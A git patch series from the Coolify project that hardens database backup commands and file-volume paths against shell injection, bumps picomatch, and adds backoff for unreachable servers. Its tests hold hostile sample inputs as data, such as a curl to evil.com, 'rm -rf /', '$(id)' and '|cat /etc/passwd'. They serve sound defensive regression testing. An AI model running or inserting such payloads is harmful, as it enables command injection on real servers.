+ $command = "docker exec container mariadb-dump -u root -p$escaped db";
+ // Verify the command doesn't contain an unescaped semicolon outside quotes
+ expect($command)->toContain("-p'pass'");
+});
+
+test('rawurlencode neutralizes shell injection in mongodb URI credentials', function () {
+ $maliciousUser = 'admin";$(whoami)';
+ $maliciousPass = 'pass@evil.com/admin?authSource=admin&rm -rf /';
+
+ $encodedUser = rawurlencode($maliciousUser);
+ $encodedPass = rawurlencode($maliciousPass);
+ $url = "mongodb://{$encodedUser}:{$encodedPass}@container:27017";
+
+ // Special characters should be percent-encoded
+ expect($encodedUser)->not->toContain('"');
+ expect($encodedUser)->not->toContain('$');
+ expect($encodedUser)->not->toContain('(');
+ expect($encodedPass)->not->toContain('@');
+ expect($encodedPass)->not->toContain('/');
+ expect($encodedPass)->not->toContain('?');
+ expect($encodedPass)->not->toContain('&');
+
+ // The URL should have exactly one @ (the delimiter) and the credentials percent-encoded
+ $atCount = substr_count($url, '@');
+ expect($atCount)->toBe(1);
+});
+
+test('escapeshellarg on mongodb URI prevents shell breakout', function () {
+ // Even if internal_db_url contains malicious content, escapeshellarg wraps it safely
+ $maliciousUrl = 'mongodb://admin:pass@host:27017" && curl http://evil.com #';
+ $escaped = escapeshellarg($maliciousUrl);
+
+ $command = "docker exec container mongodump --uri=$escaped --gzip --archive > /backup";
+ // The entire URI must be inside single quotes
+ expect($command)->toContain("--uri='mongodb://admin:pass@host:27017");
+ expect($command)->toContain("evil.com #'");
+ // No unescaped double quotes that could break the command
+ expect(substr_count($command, "'"))->toBeGreaterThanOrEqual(2);
+});
From 3fdce06b654fa3b7b4be59c0faaab6b4546c78de Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Wed, 25 Mar 2026 23:44:37 +0100
Subject: [PATCH 075/168] fix(storage): consistent path validation and escaping
for file volumes
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Ensure all file volume paths are validated and properly escaped before
use. Previously, only directory mount paths were validated at the input
layer — file mount paths now receive the same treatment across Livewire
components, API controllers, and the model layer.
- Validate and escape fs_path at the top of saveStorageOnServer() before
any commands are built
- Add path validation to submitFileStorage() in Storage Livewire component
- Add path validation to file mount creation in Applications, Services,
and Databases API controllers
- Add regression tests for path validation coverage
Co-Authored-By: Claude Opus 4.6
---
.../Api/ApplicationsController.php | 27 +++++-----
.../Controllers/Api/DatabasesController.php | 13 +++--
.../Controllers/Api/ServicesController.php | 7 ++-
app/Livewire/Project/Service/Storage.php | 13 +++--
app/Models/LocalFileVolume.php | 20 +++++---
tests/Unit/FileStorageSecurityTest.php | 50 +++++++++++++++++++
6 files changed, 101 insertions(+), 29 deletions(-)
diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php
index 66f6a1ef8..b081069b7 100644
--- a/app/Http/Controllers/Api/ApplicationsController.php
+++ b/app/Http/Controllers/Api/ApplicationsController.php
@@ -1002,7 +1002,7 @@ private function create_application(Request $request, $type)
$this->authorize('create', Application::class);
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
$allowedFields = ['project_uuid', 'environment_name', 'environment_uuid', 'server_uuid', 'destination_uuid', 'type', 'name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'private_key_uuid', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'redirect', 'github_app_uuid', 'instant_deploy', 'dockerfile', 'dockerfile_location', 'docker_compose_location', 'docker_compose_raw', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'watch_paths', 'use_build_server', 'static_image', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'autogenerate_domain', 'is_container_label_escape_enabled'];
@@ -1150,7 +1150,7 @@ private function create_application(Request $request, $type)
$request->offsetSet('name', generate_application_name($request->git_repository, $request->git_branch));
}
$return = $this->validateDataApplications($request, $server);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
@@ -1345,7 +1345,7 @@ private function create_application(Request $request, $type)
}
$return = $this->validateDataApplications($request, $server);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
$githubApp = GithubApp::whereTeamId($teamId)->where('uuid', $githubAppUuid)->first();
@@ -1573,7 +1573,7 @@ private function create_application(Request $request, $type)
}
$return = $this->validateDataApplications($request, $server);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
$privateKey = PrivateKey::whereTeamId($teamId)->where('uuid', $request->private_key_uuid)->first();
@@ -1742,7 +1742,7 @@ private function create_application(Request $request, $type)
}
$return = $this->validateDataApplications($request, $server);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
if (! isBase64Encoded($request->dockerfile)) {
@@ -1850,7 +1850,7 @@ private function create_application(Request $request, $type)
$request->offsetSet('name', 'docker-image-'.new Cuid2);
}
$return = $this->validateDataApplications($request, $server);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
// Process docker image name and tag using DockerImageParser
@@ -1974,7 +1974,7 @@ private function create_application(Request $request, $type)
], 422);
}
$return = $this->validateDataApplications($request, $server);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
if (! isBase64Encoded($request->docker_compose_raw)) {
@@ -2460,7 +2460,7 @@ public function update_by_uuid(Request $request)
return invalidTokenResponse();
}
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
@@ -2530,7 +2530,7 @@ public function update_by_uuid(Request $request)
}
}
$return = $this->validateDataApplications($request, $server);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
$extraFields = array_diff(array_keys($request->all()), $allowedFields);
@@ -2956,7 +2956,7 @@ public function update_env_by_uuid(Request $request)
}
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first();
@@ -3157,7 +3157,7 @@ public function create_bulk_envs(Request $request)
}
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first();
@@ -4077,7 +4077,7 @@ public function update_storage(Request $request): JsonResponse
}
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
@@ -4361,6 +4361,9 @@ public function create_storage(Request $request): JsonResponse
]);
} else {
$mountPath = str($request->mount_path)->trim()->start('/')->value();
+
+ validateShellSafePath($mountPath, 'file storage path');
+
$fsPath = application_configuration_dir().'/'.$application->uuid.$mountPath;
$storage = LocalFileVolume::create([
diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php
index 44b66e57e..f9e171eee 100644
--- a/app/Http/Controllers/Api/DatabasesController.php
+++ b/app/Http/Controllers/Api/DatabasesController.php
@@ -334,7 +334,7 @@ public function update_by_uuid(Request $request)
// this check if the request is a valid json
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
$validator = customApiValidator($request->all(), [
@@ -685,7 +685,7 @@ public function create_backup(Request $request)
// Validate incoming request is valid JSON
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
@@ -914,7 +914,7 @@ public function update_backup(Request $request)
}
// this check if the request is a valid json
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
$validator = customApiValidator($request->all(), [
@@ -1590,7 +1590,7 @@ public function create_database(Request $request, NewDatabaseTypes $type)
$this->authorize('create', StandalonePostgresql::class);
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
@@ -3554,6 +3554,9 @@ public function create_storage(Request $request): JsonResponse
]);
} else {
$mountPath = str($request->mount_path)->trim()->start('/')->value();
+
+ validateShellSafePath($mountPath, 'file storage path');
+
$fsPath = database_configuration_dir().'/'.$database->uuid.$mountPath;
$storage = LocalFileVolume::create([
@@ -3646,7 +3649,7 @@ public function update_storage(Request $request): JsonResponse
}
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php
index ca565ece0..89635875c 100644
--- a/app/Http/Controllers/Api/ServicesController.php
+++ b/app/Http/Controllers/Api/ServicesController.php
@@ -302,7 +302,7 @@ public function create_service(Request $request)
$this->authorize('create', Service::class);
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
$validationRules = [
@@ -925,7 +925,7 @@ public function update_by_uuid(Request $request)
}
$return = validateIncomingRequest($request);
- if ($return instanceof \Illuminate\Http\JsonResponse) {
+ if ($return instanceof JsonResponse) {
return $return;
}
@@ -2110,6 +2110,9 @@ public function create_storage(Request $request): JsonResponse
]);
} else {
$mountPath = str($request->mount_path)->trim()->start('/')->value();
+
+ validateShellSafePath($mountPath, 'file storage path');
+
$fsPath = service_configuration_dir().'/'.$service->uuid.$mountPath;
$storage = LocalFileVolume::create([
diff --git a/app/Livewire/Project/Service/Storage.php b/app/Livewire/Project/Service/Storage.php
index 12d8bcbc3..e896f060a 100644
--- a/app/Livewire/Project/Service/Storage.php
+++ b/app/Livewire/Project/Service/Storage.php
@@ -2,6 +2,8 @@
namespace App\Livewire\Project\Service;
+use App\Models\Application;
+use App\Models\LocalFileVolume;
use App\Models\LocalPersistentVolume;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
use Livewire\Component;
@@ -49,7 +51,7 @@ public function mount()
$this->file_storage_directory_source = application_configuration_dir()."/{$this->resource->uuid}";
}
- if ($this->resource->getMorphClass() === \App\Models\Application::class) {
+ if ($this->resource->getMorphClass() === Application::class) {
if ($this->resource->destination->server->isSwarm()) {
$this->isSwarm = true;
}
@@ -138,7 +140,10 @@ public function submitFileStorage()
$this->file_storage_path = trim($this->file_storage_path);
$this->file_storage_path = str($this->file_storage_path)->start('/')->value();
- if ($this->resource->getMorphClass() === \App\Models\Application::class) {
+ // Validate path to prevent command injection
+ validateShellSafePath($this->file_storage_path, 'file storage path');
+
+ if ($this->resource->getMorphClass() === Application::class) {
$fs_path = application_configuration_dir().'/'.$this->resource->uuid.$this->file_storage_path;
} elseif (str($this->resource->getMorphClass())->contains('Standalone')) {
$fs_path = database_configuration_dir().'/'.$this->resource->uuid.$this->file_storage_path;
@@ -146,7 +151,7 @@ public function submitFileStorage()
throw new \Exception('No valid resource type for file mount storage type!');
}
- \App\Models\LocalFileVolume::create([
+ LocalFileVolume::create([
'fs_path' => $fs_path,
'mount_path' => $this->file_storage_path,
'content' => $this->file_storage_content,
@@ -183,7 +188,7 @@ public function submitFileStorageDirectory()
validateShellSafePath($this->file_storage_directory_source, 'storage source path');
validateShellSafePath($this->file_storage_directory_destination, 'storage destination path');
- \App\Models\LocalFileVolume::create([
+ LocalFileVolume::create([
'fs_path' => $this->file_storage_directory_source,
'mount_path' => $this->file_storage_directory_destination,
'is_directory' => true,
diff --git a/app/Models/LocalFileVolume.php b/app/Models/LocalFileVolume.php
index da58ed2f9..b954a1dd5 100644
--- a/app/Models/LocalFileVolume.php
+++ b/app/Models/LocalFileVolume.php
@@ -3,6 +3,7 @@
namespace App\Models;
use App\Events\FileStorageChanged;
+use App\Jobs\ServerStorageSaveJob;
use Illuminate\Database\Eloquent\Casts\Attribute;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Symfony\Component\Yaml\Yaml;
@@ -27,7 +28,7 @@ protected static function booted()
{
static::created(function (LocalFileVolume $fileVolume) {
$fileVolume->load(['service']);
- dispatch(new \App\Jobs\ServerStorageSaveJob($fileVolume));
+ dispatch(new ServerStorageSaveJob($fileVolume));
});
}
@@ -129,15 +130,22 @@ public function saveStorageOnServer()
$server = $this->resource->destination->server;
}
$commands = collect([]);
+
+ // Validate fs_path early before any shell interpolation
+ validateShellSafePath($this->fs_path, 'storage path');
+ $escapedFsPath = escapeshellarg($this->fs_path);
+ $escapedWorkdir = escapeshellarg($workdir);
+
if ($this->is_directory) {
- $commands->push("mkdir -p $this->fs_path > /dev/null 2>&1 || true");
- $commands->push("mkdir -p $workdir > /dev/null 2>&1 || true");
- $commands->push("cd $workdir");
+ $commands->push("mkdir -p {$escapedFsPath} > /dev/null 2>&1 || true");
+ $commands->push("mkdir -p {$escapedWorkdir} > /dev/null 2>&1 || true");
+ $commands->push("cd {$escapedWorkdir}");
}
if (str($this->fs_path)->startsWith('.') || str($this->fs_path)->startsWith('/') || str($this->fs_path)->startsWith('~')) {
$parent_dir = str($this->fs_path)->beforeLast('/');
if ($parent_dir != '') {
- $commands->push("mkdir -p $parent_dir > /dev/null 2>&1 || true");
+ $escapedParentDir = escapeshellarg($parent_dir);
+ $commands->push("mkdir -p {$escapedParentDir} > /dev/null 2>&1 || true");
}
}
$path = data_get_str($this, 'fs_path');
@@ -147,7 +155,7 @@ public function saveStorageOnServer()
$path = $workdir.$path;
}
- // Validate and escape path to prevent command injection
+ // Validate and escape resolved path (may differ from fs_path if relative)
validateShellSafePath($path, 'storage path');
$escapedPath = escapeshellarg($path);
diff --git a/tests/Unit/FileStorageSecurityTest.php b/tests/Unit/FileStorageSecurityTest.php
index a89a209b1..192ea8c8f 100644
--- a/tests/Unit/FileStorageSecurityTest.php
+++ b/tests/Unit/FileStorageSecurityTest.php
@@ -91,3 +91,53 @@
expect(fn () => validateShellSafePath('/tmp/upload_dir-2024', 'storage path'))
->not->toThrow(Exception::class);
});
+
+// --- Regression tests for GHSA-46hp-7m8g-7622 ---
+// These verify that file mount paths (not just directory mounts) are validated,
+// and that saveStorageOnServer() validates fs_path before any shell interpolation.
+
+test('file storage rejects command injection in file mount path context', function () {
+ $maliciousPaths = [
+ '/app/config$(id)',
+ '/app/config;whoami',
+ '/app/config|cat /etc/passwd',
+ '/app/config`id`',
+ '/app/config&whoami',
+ '/app/config>/tmp/pwned',
+ '/app/config validateShellSafePath($path, 'file storage path'))
+ ->toThrow(Exception::class);
+ }
+});
+
+test('file storage rejects variable substitution in paths', function () {
+ expect(fn () => validateShellSafePath('/data/${IFS}cat${IFS}/etc/passwd', 'file storage path'))
+ ->toThrow(Exception::class);
+});
+
+test('file storage accepts safe file mount paths', function () {
+ $safePaths = [
+ '/etc/nginx/nginx.conf',
+ '/app/.env',
+ '/data/coolify/services/abc123/config.yml',
+ '/var/www/html/index.php',
+ '/opt/app/config/database.json',
+ ];
+
+ foreach ($safePaths as $path) {
+ expect(fn () => validateShellSafePath($path, 'file storage path'))
+ ->not->toThrow(Exception::class);
+ }
+});
+
+test('file storage accepts relative dot-prefixed paths', function () {
+ expect(fn () => validateShellSafePath('./config/app.yaml', 'storage path'))
+ ->not->toThrow(Exception::class);
+
+ expect(fn () => validateShellSafePath('./data', 'storage path'))
+ ->not->toThrow(Exception::class);
+});
From b22e470877129ce4a787c0fa639a00999faac17c Mon Sep 17 00:00:00 2001
From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com>
Date: Thu, 26 Mar 2026 00:53:57 +0000
Subject: [PATCH 076/168] chore(deps): bump picomatch
Bumps and [picomatch](https://github.com/micromatch/picomatch). These dependencies needed to be updated together.
Updates `picomatch` from 4.0.3 to 4.0.4
- [Release notes](https://github.com/micromatch/picomatch/releases)
- [Changelog](https://github.com/micromatch/picomatch/blob/master/CHANGELOG.md)
- [Commits](https://github.com/micromatch/picomatch/compare/4.0.3...4.0.4)
Updates `picomatch` from 2.3.1 to 2.3.2
- [Release notes](https://github.com/micromatch/picomatch/releases)
- [Changelog](https://github.com/micromatch/picomatch/blob/master/CHANGELOG.md)
- [Commits](https://github.com/micromatch/picomatch/compare/4.0.3...4.0.4)
---
updated-dependencies:
- dependency-name: picomatch
dependency-version: 4.0.4
dependency-type: indirect
- dependency-name: picomatch
dependency-version: 2.3.2
dependency-type: indirect
...
Signed-off-by: dependabot[bot]
---
package-lock.json | 12 ++++++------
1 file changed, 6 insertions(+), 6 deletions(-)
diff --git a/package-lock.json b/package-lock.json
index 3c9753bb8..6959704a1 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -2388,9 +2388,9 @@
"license": "ISC"
},
"node_modules/picomatch": {
- "version": "4.0.3",
- "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",
- "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==",
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz",
+ "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==",
"dev": true,
"license": "MIT",
"engines": {
@@ -2795,9 +2795,9 @@
}
},
"node_modules/vite-plugin-full-reload/node_modules/picomatch": {
- "version": "2.3.1",
- "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
- "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
+ "version": "2.3.2",
+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz",
+ "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==",
"dev": true,
"license": "MIT",
"engines": {
From dd2c9c291aaed35c026650bbd2028c35513360c5 Mon Sep 17 00:00:00 2001
From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com>
Date: Thu, 26 Mar 2026 10:51:36 +0100
Subject: [PATCH 077/168] feat(jobs): implement exponential backoff for
unreachable servers
Reduce load on unreachable servers by implementing exponential backoff
during connectivity failures. Check frequency decreases based on
consecutive failure count:
0-2: every cycle
3-5: ~15 min intervals
6-11: ~30 min intervals
12+: ~60 min intervals
Uses server ID hash to distribute checks across cycles and prevent
thundering herd.
ServerCheckJob and ServerConnectionCheckJob increment unreachable_count
on failures. ServerManagerJob applies backoff logic before dispatching
checks. Includes comprehensive test coverage.
---
app/Jobs/ServerCheckJob.php | 4 +-
app/Jobs/ServerConnectionCheckJob.php | 38 ++++--
app/Jobs/ServerManagerJob.php | 42 ++++++-
tests/Unit/ServerBackoffTest.php | 175 ++++++++++++++++++++++++++
4 files changed, 245 insertions(+), 14 deletions(-)
create mode 100644 tests/Unit/ServerBackoffTest.php
diff --git a/app/Jobs/ServerCheckJob.php b/app/Jobs/ServerCheckJob.php
index a18d45b9a..10faa7e9b 100644
--- a/app/Jobs/ServerCheckJob.php
+++ b/app/Jobs/ServerCheckJob.php
@@ -15,6 +15,7 @@
use Illuminate\Queue\InteractsWithQueue;
use Illuminate\Queue\Middleware\WithoutOverlapping;
use Illuminate\Queue\SerializesModels;
+use Illuminate\Queue\TimeoutExceededException;
use Illuminate\Support\Facades\Log;
class ServerCheckJob implements ShouldBeEncrypted, ShouldQueue
@@ -36,11 +37,12 @@ public function __construct(public Server $server) {}
public function failed(?\Throwable $exception): void
{
- if ($exception instanceof \Illuminate\Queue\TimeoutExceededException) {
+ if ($exception instanceof TimeoutExceededException) {
Log::warning('ServerCheckJob timed out', [
'server_id' => $this->server->id,
'server_name' => $this->server->name,
]);
+ $this->server->increment('unreachable_count');
// Delete the queue job so it doesn't appear in Horizon's failed list.
$this->job?->delete();
diff --git a/app/Jobs/ServerConnectionCheckJob.php b/app/Jobs/ServerConnectionCheckJob.php
index 2c73ae43e..7ce316dcd 100644
--- a/app/Jobs/ServerConnectionCheckJob.php
+++ b/app/Jobs/ServerConnectionCheckJob.php
@@ -2,8 +2,10 @@
namespace App\Jobs;
+use App\Helpers\SshMultiplexingHelper;
use App\Models\Server;
use App\Services\ConfigurationRepository;
+use App\Services\HetznerService;
use Illuminate\Bus\Queueable;
use Illuminate\Contracts\Queue\ShouldBeEncrypted;
use Illuminate\Contracts\Queue\ShouldQueue;
@@ -11,7 +13,9 @@
use Illuminate\Queue\InteractsWithQueue;
use Illuminate\Queue\Middleware\WithoutOverlapping;
use Illuminate\Queue\SerializesModels;
+use Illuminate\Queue\TimeoutExceededException;
use Illuminate\Support\Facades\Log;
+use Illuminate\Support\Facades\Process;
class ServerConnectionCheckJob implements ShouldBeEncrypted, ShouldQueue
{
@@ -19,7 +23,7 @@ class ServerConnectionCheckJob implements ShouldBeEncrypted, ShouldQueue
public $tries = 1;
- public $timeout = 30;
+ public $timeout = 15;
public function __construct(
public Server $server,
@@ -28,7 +32,7 @@ public function __construct(
public function middleware(): array
{
- return [(new WithoutOverlapping('server-connection-check-'.$this->server->uuid))->expireAfter(45)->dontRelease()];
+ return [(new WithoutOverlapping('server-connection-check-'.$this->server->uuid))->expireAfter(25)->dontRelease()];
}
private function disableSshMux(): void
@@ -72,6 +76,7 @@ public function handle()
'is_reachable' => false,
'is_usable' => false,
]);
+ $this->server->increment('unreachable_count');
Log::warning('ServerConnectionCheck: Server not reachable', [
'server_id' => $this->server->id,
@@ -90,6 +95,10 @@ public function handle()
'is_usable' => $isUsable,
]);
+ if ($this->server->unreachable_count > 0) {
+ $this->server->update(['unreachable_count' => 0]);
+ }
+
} catch (\Throwable $e) {
Log::error('ServerConnectionCheckJob failed', [
@@ -100,6 +109,7 @@ public function handle()
'is_reachable' => false,
'is_usable' => false,
]);
+ $this->server->increment('unreachable_count');
return;
}
@@ -107,11 +117,12 @@ public function handle()
public function failed(?\Throwable $exception): void
{
- if ($exception instanceof \Illuminate\Queue\TimeoutExceededException) {
+ if ($exception instanceof TimeoutExceededException) {
$this->server->settings->update([
'is_reachable' => false,
'is_usable' => false,
]);
+ $this->server->increment('unreachable_count');
// Delete the queue job so it doesn't appear in Horizon's failed list.
$this->job?->delete();
@@ -123,7 +134,7 @@ private function checkHetznerStatus(): void
$status = null;
try {
- $hetznerService = new \App\Services\HetznerService($this->server->cloudProviderToken->token);
+ $hetznerService = new HetznerService($this->server->cloudProviderToken->token);
$serverData = $hetznerService->getServer($this->server->hetzner_server_id);
$status = $serverData['status'] ?? null;
@@ -144,15 +155,18 @@ private function checkHetznerStatus(): void
private function checkConnection(): bool
{
try {
- // Use instant_remote_process with a simple command
- // This will automatically handle mux, sudo, IPv6, Cloudflare tunnel, etc.
- $output = instant_remote_process_with_timeout(
- ['ls -la /'],
- $this->server,
- false // don't throw error
- );
+ // Single SSH attempt without SshRetryHandler — retries waste time for connectivity checks.
+ // Backoff is managed at the dispatch level via unreachable_count.
+ $commands = ['ls -la /'];
+ if ($this->server->isNonRoot()) {
+ $commands = parseCommandsByLineForSudo(collect($commands), $this->server);
+ }
+ $commandString = implode("\n", $commands);
- return $output !== null;
+ $sshCommand = SshMultiplexingHelper::generateSshCommand($this->server, $commandString, true);
+ $process = Process::timeout(10)->run($sshCommand);
+
+ return $process->exitCode() === 0;
} catch (\Throwable $e) {
Log::debug('ServerConnectionCheck: Connection check failed', [
'server_id' => $this->server->id,
diff --git a/app/Jobs/ServerManagerJob.php b/app/Jobs/ServerManagerJob.php
index 3f748f0ca..9532282cc 100644
--- a/app/Jobs/ServerManagerJob.php
+++ b/app/Jobs/ServerManagerJob.php
@@ -86,6 +86,9 @@ private function dispatchConnectionChecks(Collection $servers): void
if ($server->isSentinelEnabled() && $server->isSentinelLive()) {
return;
}
+ if ($this->shouldSkipDueToBackoff($server)) {
+ return;
+ }
ServerConnectionCheckJob::dispatch($server);
} catch (\Exception $e) {
Log::channel('scheduled-errors')->error('Failed to dispatch ServerConnectionCheck', [
@@ -129,7 +132,9 @@ private function processServerTasks(Server $server): void
if ($sentinelOutOfSync) {
// Dispatch ServerCheckJob if Sentinel is out of sync
if (shouldRunCronNow($this->checkFrequency, $serverTimezone, "server-check:{$server->id}", $this->executionTime)) {
- ServerCheckJob::dispatch($server);
+ if (! $this->shouldSkipDueToBackoff($server)) {
+ ServerCheckJob::dispatch($server);
+ }
}
}
@@ -165,4 +170,39 @@ private function processServerTasks(Server $server): void
// Note: CheckAndStartSentinelJob is only dispatched daily (line above) for version updates.
// Crash recovery is handled by sentinelOutOfSync → ServerCheckJob → CheckAndStartSentinelJob.
}
+
+ /**
+ * Determine the backoff cycle interval based on how many consecutive times a server has been unreachable.
+ * Higher counts → less frequent checks (based on 5-min cloud cycle):
+ * 0-2: every cycle, 3-5: ~15 min, 6-11: ~30 min, 12+: ~60 min
+ */
+ private function getBackoffCycleInterval(int $unreachableCount): int
+ {
+ return match (true) {
+ $unreachableCount <= 2 => 1,
+ $unreachableCount <= 5 => 3,
+ $unreachableCount <= 11 => 6,
+ default => 12,
+ };
+ }
+
+ /**
+ * Check if a server should be skipped this cycle due to unreachable backoff.
+ * Uses server ID hash to distribute checks across cycles (avoid thundering herd).
+ */
+ private function shouldSkipDueToBackoff(Server $server): bool
+ {
+ $unreachableCount = $server->unreachable_count ?? 0;
+ $interval = $this->getBackoffCycleInterval($unreachableCount);
+
+ if ($interval <= 1) {
+ return false;
+ }
+
+ $cyclePeriodMinutes = isCloud() ? 5 : 1;
+ $cycleIndex = intdiv($this->executionTime->minute, $cyclePeriodMinutes);
+ $serverHash = abs(crc32((string) $server->id));
+
+ return ($cycleIndex + $serverHash) % $interval !== 0;
+ }
}
diff --git a/tests/Unit/ServerBackoffTest.php b/tests/Unit/ServerBackoffTest.php
new file mode 100644
index 000000000..bdcefb74f
--- /dev/null
+++ b/tests/Unit/ServerBackoffTest.php
@@ -0,0 +1,175 @@
+invoke($job, 0))->toBe(1)
+ ->and($method->invoke($job, 1))->toBe(1)
+ ->and($method->invoke($job, 2))->toBe(1)
+ ->and($method->invoke($job, 3))->toBe(3)
+ ->and($method->invoke($job, 5))->toBe(3)
+ ->and($method->invoke($job, 6))->toBe(6)
+ ->and($method->invoke($job, 11))->toBe(6)
+ ->and($method->invoke($job, 12))->toBe(12)
+ ->and($method->invoke($job, 100))->toBe(12);
+ });
+});
+
+describe('shouldSkipDueToBackoff', function () {
+ it('never skips servers with unreachable_count <= 2', function () {
+ $job = new ServerManagerJob;
+ $executionTimeProp = new ReflectionProperty($job, 'executionTime');
+ $method = new ReflectionMethod($job, 'shouldSkipDueToBackoff');
+
+ $server = Mockery::mock(Server::class)->makePartial();
+ $server->id = 42;
+
+ foreach ([0, 1, 2] as $count) {
+ $server->unreachable_count = $count;
+
+ // Test across all minutes in an hour
+ for ($minute = 0; $minute < 60; $minute++) {
+ Carbon::setTestNow("2025-01-15 12:{$minute}:00");
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ expect($method->invoke($job, $server))->toBeFalse(
+ "Should not skip with unreachable_count={$count} at minute={$minute}"
+ );
+ }
+ }
+ });
+
+ it('skips most cycles for servers with high unreachable count', function () {
+ $job = new ServerManagerJob;
+ $executionTimeProp = new ReflectionProperty($job, 'executionTime');
+ $method = new ReflectionMethod($job, 'shouldSkipDueToBackoff');
+
+ $server = Mockery::mock(Server::class)->makePartial();
+ $server->id = 42;
+ $server->unreachable_count = 15; // interval = 12
+
+ $skipCount = 0;
+ $allowCount = 0;
+
+ for ($minute = 0; $minute < 60; $minute++) {
+ Carbon::setTestNow("2025-01-15 12:{$minute}:00");
+ $executionTimeProp->setValue($job, Carbon::now());
+
+ if ($method->invoke($job, $server)) {
+ $skipCount++;
+ } else {
+ $allowCount++;
+ }
+ }
+
+ // With interval=12, most cycles should be skipped but at least one should be allowed
+ expect($allowCount)->toBeGreaterThan(0)
+ ->and($skipCount)->toBeGreaterThan($allowCount);
+ });
+
+ it('distributes checks across servers using server ID hash', function () {
+ $job = new ServerManagerJob;
+ $executionTimeProp = new ReflectionProperty($job, 'executionTime');
+ $method = new ReflectionMethod($job, 'shouldSkipDueToBackoff');
+
